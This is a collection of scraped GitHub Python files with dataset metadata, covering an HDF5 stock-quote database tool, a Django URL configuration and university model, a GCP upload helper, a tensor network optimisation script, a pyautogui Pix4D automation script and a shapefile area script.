self._append_quote(TYPE_SPLITS,data_src)\n data_src.close()\n fp_tmp.close() \n else:\n log.error('down splits error')\n \n def update_hd5_local(self,dad_path):\n \"\"\"update hd5 DB with local dads\n\n @dad_path: local path of dad files\n \"\"\"\n w_days = get_workingdays(self._last_update[MK_SH])\n for day in w_days[1:]:\n dad_daily = os.path.join(dad_path,day+'.dad')\n dad_min = os.path.join(dad_path,day+'m.dad')\n for fn, data_type in [(dad_daily,TYPE_DAILY), \n (dad_min,TYPE_MIN5)]:\n \n data_source = fpar.iter_parser(fn, out_dtfmt=None)\n if data_source:\n log.info('update %s' %fn)\n err = self._append_quote(data_type,data_source)\n data_source.close()\n else:\n log.error('source file error %s' %fn)\n\n # update splits data\n splits = os.path.join(dad_path,'split.pwr')\n data_source = fpar.iter_parser(splits, out_dtfmt=None)\n if data_source:\n log.info('update %s' %splits)\n err = self._append_quote(TYPE_SPLITS,data_source)\n data_source.close()\n else:\n log.error('Source file error %s' %fn)\n\n \n def sort_hd5(self):\n \"\"\"sort hd5 files \n \"\"\"\n for fp in self._hd5fp.values():\n log.debug('Start sort %s' %fp.name )\n for node in fp.walkNodes():\n if isinstance(node,tb.table.Table):\n rows = node.read()\n rows.sort(order='time')\n node.modifyRows(start=0,stop=-1,rows=rows)\n log.debug('Sort finished') \n\n def _dump(self,code,db_type):\n \"\"\"dump all quote from HD5 and return numpy recarray\n\n @code: stock code, 'SH510051'\n @db_type: dialy or 5min data\n \n return: a numpy recarray if success, otherwise, None\n \"\"\"\n code = code.upper()\n mk= code[:2]\n if mk not in MARKETS:\n log.error('incorrect code name: %s' %code) \n return None\n fp = self._hd5fp[mk]\n try:\n tbl = fp.getNode(TYPE2GRP[db_type], name=code)\n rows = tbl.read()\n return rows\n except tb.NoSuchNodeError:\n log.error('code not exist: %s' %code) \n return None\n\n def get_daily(self,code):\n \"\"\"get daily quote of given code\n @code: stock code, link 'sh510050'\n return: a numpy recarry if success\n \"\"\"\n return self._dump(code,TYPE_DAILY)\n\n def get_min5(self,code):\n \"\"\"get 5min quote of given code\n @code: stock code, link 'sh510050'\n return: a numpy recarry if success\n \"\"\"\n return self._dump(code,TYPE_MIN5)\n\n def extract(self,code_lst, fn,title=''):\n \"\"\"extract some codes to a new hd5 file \n \n @fn: new hd5 file name\n @title: title of new hd5, should startswith 'SH' or 'SZ'\n @code_lst: code to be copied, if [], copy all\n \"\"\"\n if len(code_lst)<1:\n log.warning('no input code')\n return\n if title=='':\n title=','.join(code_lst).upper()\n log.debug('create new hd5 db: %s' %fn) \n dst_fp = self._createHD5(name=fn,title=title)\n count=[0,0] \n for code in code_lst:\n code = code.upper()\n if (code[:2] not in MARKETS) or len(code) != 8:\n log.error('invalide code %s' %code)\n continue\n count[0] += 1\n src_fp = self._hd5fp[code[:2]]\n for grp in TYPE2GRP.values():\n try:\n dst_grp = dst_fp.getNode(grp)\n src_tbl = src_fp.getNode(grp,name=code)\n src_tbl.copy(dst_grp,src_tbl.name,overwrite=True)\n ldp = src_grp._v_attrs.LAST_UPDATE \n dst_grp._v_attrs.LAST_UPDATE = ldp\n dst_grp._v_parent._v_attrs.LAST_UPDATE = ldp \n log.debug('copy %s: %s -> %s' %(code,grp,grp))\n count[1] += 1\n except tb.NoSuchNodeError: \n log.warning('%s not exist in src %s ' %(code,grp)) \n continue\n except:\n (type, value, traceback) = sys.exc_info()\n log.error('unexpected %s: %s' %(type,value))\n continue\n dst_fp.close() \n log.info('%s tables of %s code extracted to %s' %(\n count[1],count[0],fn)) \n return\n# ============================================================================\n# main\n# ============================================================================\n@plac.annotations( \n hd5path=(\"hd5 DB path\", 'positional', None),\n update_l=(\"update DB from local dad path\",'option','U',str,None,\"DATAPATH\"),\n update_r=(\"update DB from remote\",'flag','u'),\n extract=(\"extract codes to a new hd5 DB, split code by ','\",\n 'option','e',str,None,\"CODES\"),\n outfn=(\"output DB name\",'option','o',str,None,\"OUTPUT\"),\n debug=(\"debug mode\",'flag','d'),\n lastupdate=(\"print last update date\",'flag','l'),\n sort=(\"sort DB by time order\",'flag','s'),\n show=(\"show DB information\",'flag','w'),\n )\ndef main(hd5path,update_l,update_r,extract,\n outfn,debug,lastupdate,sort,show):\n \n # Get the log\n log = logging.getLogger('quote_hd5')\n\n if debug:\n log.setLevel(logging.DEBUG) \n \n # create file handler which logs even debug messages\n if os.path.isdir(hd5path):\n log_fn=os.path.join(hd5path,'data_h5.log')\n elif os.path.isfile(hd5path):\n base,ext = os.path.splitext(hd5path)\n log_fn=base+'.log'\n else:\n print('wrong hd5 file name')\n return\n\n fh = logging.FileHandler(log_fn,'a')\n fmt = '%(asctime)s %(name)-12s: %(levelname)-8s %(message)s'\n fh.setFormatter(logging.Formatter(fmt))\n log.addHandler(fh)\n \n if update_r:\n db=QuoteHD5(hd5path)\n db.update_hd5()\n db.close()\n return \n if update_l:\n db=QuoteHD5(hd5path)\n db.update_hd5_local(update_l)\n db.close()\n return \n if lastupdate:\n db=QuoteHD5(hd5path)\n db.get_lastupdate()\n db.close()\n return\n if extract:\n codes =extract.split(',')\n fn = outfn if outfn else codes[0]+'.h5'\n db=QuoteHD5(hd5path)\n db.extract(codes,fn)\n db.close()\n return\n if show:\n db=QuoteHD5(hd5path)\n print(db)\n db.close()\n return\n\nif __name__ == \"__main__\":\n plac.call(main)\n\n\n", "repo_name": "triobox/quote_yahoo", "sub_path": "quote_hd5.py", "file_name": "quote_hd5.py", "file_ext": "py", "file_size_in_byte": 18658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tables.IsDescription", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tables.Time32Col", "line_number": 43, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 44, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 45, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 46, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 47, "usage_type": "call"}, {"api_name": "tables.UInt32Col", "line_number": 48, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 49, "usage_type": "call"}, {"api_name": "tables.IsDescription", "line_number": 51, "usage_type": "attribute"}, {"api_name": "tables.Time32Col", "line_number": 55, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 56, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 57, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 58, "usage_type": "call"}, {"api_name": "tables.Float32Col", "line_number": 59, "usage_type": "call"}, {"api_name": "tables.IsDescription", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tables.StringCol", "line_number": 62, "usage_type": "call"}, {"api_name": "tables.StringCol", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 97, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 98, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 100, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tables.openFile", "line_number": 129, "usage_type": "call"}, {"api_name": "tables.Filters", "line_number": 172, "usage_type": "call"}, {"api_name": "tables.openFile", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 260, "usage_type": "call"}, {"api_name": "tables.NoSuchNodeError", "line_number": 271, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strftime", "line_number": 289, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 289, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 289, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 289, "usage_type": "attribute"}, {"api_name": "cStringIO.StringIO", "line_number": 310, "usage_type": "call"}, {"api_name": "fxj_parser.parse_dad", "line_number": 311, "usage_type": "call"}, {"api_name": "cStringIO.StringIO", "line_number": 326, "usage_type": "call"}, {"api_name": "fxj_parser.parse_pwr", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path", "line_number": 343, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path", "line_number": 344, "usage_type": "attribute"}, {"api_name": "fxj_parser.iter_parser", "line_number": 348, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path", "line_number": 357, "usage_type": "attribute"}, {"api_name": "fxj_parser.iter_parser", "line_number": 358, "usage_type": "call"}, {"api_name": "tables.table", "line_number": 373, "usage_type": "attribute"}, {"api_name": "tables.NoSuchNodeError", "line_number": 397, "usage_type": "attribute"}, {"api_name": "tables.NoSuchNodeError", "line_number": 447, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 451, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 477, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 480, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 483, "usage_type": "call"}, {"api_name": "os.path", "line_number": 483, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 484, "usage_type": "call"}, {"api_name": "os.path", "line_number": 484, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 485, "usage_type": "call"}, {"api_name": "os.path", "line_number": 485, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 486, "usage_type": "call"}, {"api_name": "os.path", "line_number": 486, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 492, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 494, "usage_type": "call"}, {"api_name": "plac.annotations", "line_number": 461, "usage_type": "call"}, {"api_name": "plac.call", "line_number": 526, "usage_type": "call"}]} {"seq_id": "41558793960", "text": "import pickle\nfrom pprint import pprint\nfrom typing import Dict, List\n\nfrom src.utils.helper import Helper\n\n\ndef main():\n commands_dict: Dict[str, Dict[str, List[str]]] = dict()\n command_types = ['addressed', 'if', 'io', 'unaddressed']\n\n dict_types = ['code', 'description', 'mnemonic', 'nzvc']\n\n for command_type in command_types:\n if command_type not in commands_dict.keys():\n commands_dict[command_type] = dict()\n\n for dict_type in dict_types:\n with open(f'{Helper.get_project_root()}/commands/{command_type}/{dict_type}.txt') as file:\n for line_raw in file.read().splitlines():\n line = line_raw.strip().replace(' ', ' ')\n\n if dict_type not in commands_dict[command_type].keys():\n commands_dict[command_type][dict_type] = []\n commands_dict[command_type][dict_type].append(line)\n\n with open(f'{Helper.get_project_root()}/commands_dict.pickle', 'wb+') as file:\n pickle.dump(commands_dict, file)\n pprint(commands_dict)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "foryourselfand/computer_science_basics", "sub_path": "src/testing_pickle.py", "file_name": "testing_pickle.py", "file_ext": "py", "file_size_in_byte": 1116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Dict", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 9, "usage_type": "name"}, {"api_name": "src.utils.helper.Helper.get_project_root", "line_number": 19, "usage_type": "call"}, {"api_name": "src.utils.helper.Helper", "line_number": 19, "usage_type": "name"}, {"api_name": "src.utils.helper.Helper.get_project_root", "line_number": 27, "usage_type": "call"}, {"api_name": "src.utils.helper.Helper", "line_number": 27, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 28, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 29, "usage_type": "call"}]} {"seq_id": "42658317881", "text": "import os\nfrom google.cloud import storage\nfrom termcolor import colored\nfrom bulber.params import MODEL_VERSION\n\n\ndef storage_upload(model_version=MODEL_VERSION, bucket=BUCKET_NAME, rm=False):\n client = storage.Client().bucket(bucket)\n storage_location = 'models/{}/versions/{}/{}'.format(\n MODEL_NAME,\n model_version,\n 'model.bulber')\n blob = client.blob(storage_location)\n blob.upload_from_filename('bulber_v2')\n print(\"=> model.bumbulb uploaded to bucket {} inside {}\".format(BUCKET_NAME, storage_location))\n if rm:\n os.remove('model.bulber')\n", "repo_name": "Clement-CL/bulber", "sub_path": "bulber/gcp.py", "file_name": "gcp.py", "file_ext": "py", "file_size_in_byte": 593, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bulber.params.MODEL_VERSION", "line_number": 7, "usage_type": "name"}, {"api_name": "google.cloud.storage.Client", "line_number": 8, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 8, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 17, "usage_type": "call"}]} {"seq_id": "31919334849", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport tree_tensor_network\n\nif __name__ == \"__main__\":\n backend = \"jax\" # \"numpy\" and \"tensorflow\" are also supported!\n\n if backend == \"tensorflow\":\n import tensorflow as tf\n dtype = tf.float64\n elif backend == \"jax\":\n from jax.config import config\n config.update(\"jax_enable_x64\", True)\n import jax.numpy as np\n dtype = np.float64\n elif backend == \"numpy\":\n import numpy as np\n dtype = np.float64\n\n tree_tensor_network.set_backend(backend)\n\n num_layers = 6\n max_bond_dim = 16\n build_graphs = True\n\n num_sweeps = 1000\n\n Ds = [min(2**i, max_bond_dim) for i in range(1, num_layers + 1)]\n\n print(\"----------------------------------------------------\")\n print(\"Variational ground state optimization.\")\n print(\"----------------------------------------------------\")\n print(\"System size:\", 2**num_layers)\n print(\"Bond dimensions:\", Ds)\n\n H = tree_tensor_network.get_ham_ising(dtype)\n isos_012 = tree_tensor_network.random_tree_tn_uniform(Ds, dtype, top_rank=1)\n\n isos_012 = tree_tensor_network.opt_tree_energy(\n isos_012,\n H,\n num_sweeps,\n 1,\n verbose=1,\n graphed=build_graphs,\n ham_shift=0.2)\n", "repo_name": "amilsted/unitree", "sub_path": "groundstate_example.py", "file_name": "groundstate_example.py", "file_ext": "py", "file_size_in_byte": 1275, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tensorflow.float64", "line_number": 11, "usage_type": "attribute"}, {"api_name": "jax.config.config.update", "line_number": 14, "usage_type": "call"}, {"api_name": "jax.config.config", "line_number": 14, "usage_type": "name"}, {"api_name": "jax.numpy.float64", "line_number": 16, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tree_tensor_network.set_backend", "line_number": 21, "usage_type": "call"}, {"api_name": "tree_tensor_network.get_ham_ising", "line_number": 37, "usage_type": "call"}, {"api_name": "tree_tensor_network.random_tree_tn_uniform", "line_number": 38, "usage_type": "call"}, {"api_name": "tree_tensor_network.opt_tree_energy", "line_number": 40, "usage_type": "call"}]} {"seq_id": "29336655219", "text": "from django.urls import path,include\nfrom rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token\nfrom .views import *\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\nfrom rest_framework import permissions\nfrom .views import *\nschema_view = get_schema_view(\n openapi.Info(\n title=\"WESCO LOTTOHUB\",\n default_version='v1',\n description=\"description\",\n terms_of_service=\"https://www.google.com/policies/terms/\",\n contact=openapi.Contact(email=\"gitech@gmail.com\"),\n license=openapi.License(name=\"BSD License\"),\n ),\n public=True,\n permission_classes=(permissions.AllowAny,),\n)\n\n\nurlpatterns = [\n path('api-token-auth/', obtain_jwt_token),\n path('api-refresh-token/', refresh_jwt_token),\n path('getgame/', getgameAPIview.as_view()),\n path('cancelticket/', cancelticketviewset.as_view()),\n path('checkwinner/', checkwinnerviewset.as_view()),\n path('ticketstatus/', ticketstatusviewset.as_view()),\n path('updatewinner/', Updatewinnerviewset.as_view()),\n path('sellticket/', sellticketviewset.as_view()),\n path('winnerlist/', winnerlistviewset.as_view()),\n path('swagger/', schema_view.with_ui('swagger')),\n path('swaggerdocs/', schema_view.with_ui('redoc')),\n]\n", "repo_name": "NaniSmarty/wesco", "sub_path": "wesco_lotto/game/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "drf_yasg.views.get_schema_view", "line_number": 8, "usage_type": "call"}, {"api_name": "drf_yasg.openapi.Info", "line_number": 9, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 9, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.Contact", "line_number": 14, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 14, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.License", "line_number": 15, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.permissions.AllowAny", "line_number": 18, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework_jwt.views.obtain_jwt_token", "line_number": 23, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework_jwt.views.refresh_jwt_token", "line_number": 24, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}]} {"seq_id": "30188491945", "text": "from Settings import *\nfrom pix_mapper_pics import *\nimport re\nimport glob\nimport os\nimport pyautogui as gui\nimport time\nfrom time import sleep\n\nscreen_center = (gui.size()[0] / 2, (gui.size()[1] / 2) - 50)\n\n#job = ['J8804', 'CLT', 'landrover', 'Pix4D']\n\ndef start():\n os.startfile(pix_mapper_path)\n time.sleep(15)\n\ndef new_project(job):\n gui.hotkey('ctrl','n')\n gui.write(job[0] + '_' + job[2])\n gui.press('tab', presses=3)\n gui.press('enter')\n time.sleep(1)\n gui.press('tab')\n gui.press('enter')\n gui.press('tab', presses=5)\n gui.press('enter')\n\ndef load_pics(job):\n gui.write(new_job_folder + '\\\\' + job[0] + scan_folder + r'\\filtered')\n gui.press('enter')\n time.sleep(1)\n gui.press('tab')\n time.sleep(1)\n gui.press('tab')\n time.sleep(1)\n gui.press('tab')\n time.sleep(1)\n gui.press('tab')\n gui.hotkey('ctrl','a')\n gui.press('enter')\n time.sleep(1)\n gui.press('enter')\n time.sleep(5)\n gui.press('tab',presses=5)\n time.sleep(5)\n gui.press('enter')\n time.sleep(1)\n gui.press('enter')\n time.sleep(7)\n if job[2] != 'site':\n gui.press('down')\n else:\n pass\n gui.press('enter')\n\ndef start_processing():\n check_for_image(pixDSMOrthoIndex)\n gui.click()\n check_for_image(pixMapperStart)\n gui.click()\n\ndef close_pix():\n check_for_image(pixDone)\n gui.hotkey('alt','f4')\n\ndef check_for_image(image):\n checking = True\n while checking:\n image_location = gui.locateCenterOnScreen(image)\n gui.moveTo(image_location)\n if gui.position() == image_location:\n checking = False\n", "repo_name": "landonleighredline/AutomationGUI", "sub_path": "pix_mapper_funcs.py", "file_name": "pix_mapper_funcs.py", "file_ext": "py", "file_size_in_byte": 1632, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyautogui.size", "line_number": 10, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 15, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 19, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 20, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 21, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 24, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 25, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 26, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 27, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 30, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 33, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 37, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 39, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 40, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 43, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 52, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 55, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 59, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 61, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 65, "usage_type": "call"}, {"api_name": "pyautogui.locateCenterOnScreen", "line_number": 70, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 71, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 72, "usage_type": "call"}]} {"seq_id": "14528218672", "text": "from osgeo import ogr\nimport shapefile\nfrom uafgi import shputil\n\n# Read a shapefile of polygons, compute area of each. This can be\n# used to find the most-retreated terminus polygon, which should have\n# the largest area.\n\nfname_closed = 'data/calfin/domain-termini-closed/termini_1972-2019_Jakobshavn-Isbrae_closed_v1.0.shp'\nfname_term = 'data/calfin/domain-termini/termini_1972-2019_Jakobshavn-Isbrae_v1.0.shp'\n\n# with shapefile.Reader(fname) as sf:\n# for i in range(0, len(sf)):\n# shape = sf.polygon(i)\n# print(type(shape))\n# if shape.shapeType != shapefile.POLYGON:\n# raise ValueError('shapefile.POLYGON shapeType expected in file {}'.format(self.fname))\n# print(shape.__dict__)\n# print('{},{}'.format(i,shape.area))\n\n\n\ndataSource = ogr.GetDriverByName(\"ESRI Shapefile\").Open(fname_closed)\nlayer = dataSource.GetLayer()\n\n\nschema = []\nldefn = layer.GetLayerDefn()\nfor n in range(ldefn.GetFieldCount()):\n fdefn = ldefn.GetFieldDefn(n)\n schema.append(fdefn.name)\nprint(schema)\n\npolygons = list()\nfor id,feature in enumerate(layer):\n geom = feature.GetGeometryRef()\n area = geom.GetArea()\n attrs = [-area, id+1]\n attrs += [feature.GetFieldAsString(fd) for fd in ('Date', 'ImageID')]\n polygons.append(attrs)\n\npolygons.sort()\nid = polygons[0][1]\nimage_id0 = polygons[0][3]\nprint(polygons[0])\n\nprint(id)\nshputil.select_feature(fname_closed, id, 'poly.shp')\n\n#print(polygons[:5])\n# ---------------------------------------------------\n\n\ndataSource = ogr.GetDriverByName(\"ESRI Shapefile\").Open(fname_term)\nlayer = dataSource.GetLayer()\nfor id,feature in enumerate(layer):\n image_id = feature.GetFieldAsString('ImageID')\n if image_id == image_id0:\n print(id, image_id)\n break\n\n", "repo_name": "pism/greenland_calving", "sub_path": "obsolete/not_checked_in/shpareas2.py", "file_name": "shpareas2.py", "file_ext": "py", "file_size_in_byte": 1768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "osgeo.ogr.GetDriverByName", "line_number": 23, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 23, "usage_type": "name"}, {"api_name": "uafgi.shputil.select_feature", "line_number": 48, "usage_type": "call"}, {"api_name": "uafgi.shputil", "line_number": 48, "usage_type": "name"}, {"api_name": "osgeo.ogr.GetDriverByName", "line_number": 54, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 54, "usage_type": "name"}]} {"seq_id": "38025228789", "text": "from django.db import models\nfrom django.conf import settings\nimport datetime\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.utils.translation import gettext as _\nfrom django.db.models.signals import post_save, pre_save\n\nUser = settings.AUTH_USER_MODEL\n\ndef current_year():\n return datetime.date.today().year\n\ndef max_value_current_year(value):\n return MaxValueValidator(current_year() + 11)(value)\n\nENROLLMENT_STATUS = (\n ('applicant','Applicant'),\n ('current student', 'Current student'),\n ('alumni','Alumni'),\n)\n\nclass MyUniversity(models.Model):\n user = models.ForeignKey(User, null=True, blank=True, on_delete=models.CASCADE, related_name=\"university\")\n country = models.CharField(max_length=256, null=True, blank=True)\n uni_name = models.CharField(max_length=256, null=True, blank=True)\n degree = models.CharField(max_length=256, null=True, blank=True)\n field_of_study = models.CharField(max_length=256, null=True, blank=True)\n st_year = models.IntegerField(_('year'), null=True, blank=True, validators=[MinValueValidator(1970), max_value_current_year],default=current_year)\n en_year = models.IntegerField(_('en_year'), null=True, blank=True, validators=[MinValueValidator(1970), max_value_current_year],default=current_year)\n grade = models.CharField(max_length=256, null=True, blank=True)\n # grade_rate = models.IntegerField(default=60, null=True, blank=True)\n # foundation_body = models.CharField(max_length=256, null=True, blank=True)\n # foundation_payback = models.BooleanField(default=True)\n # foundation_amount = models.CharField(max_length=256, null=True, blank=True)\n # description = models.CharField(max_length=1000, null=True, blank=True)\n enr_status = models.CharField(max_length=64, choices=ENROLLMENT_STATUS)\n\n def __str__(self):\n return f\"{self.id} {str(self.user)} {self.uni_name}\"\n\ndef pre_save_userprofile_receiver(sender, instance, *args, **kwargs):\n en_year = instance.en_year\n st_year = instance.st_year\n if en_year < current_year():\n instance.enr_status = \"alumni\"\n elif st_year > current_year():\n instance.enr_status = \"applicant\"\n else:\n instance.enr_status = \"current student\"\n\npre_save.connect(pre_save_userprofile_receiver, sender=MyUniversity)\n", "repo_name": "ShintaG3/alumate", "sub_path": "my_universities/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.core.validators.MaxValueValidator", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 28, "usage_type": "call"}, {"api_name": "django.core.validators.MinValueValidator", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models.IntegerField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 29, "usage_type": "call"}, {"api_name": "django.core.validators.MinValueValidator", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, 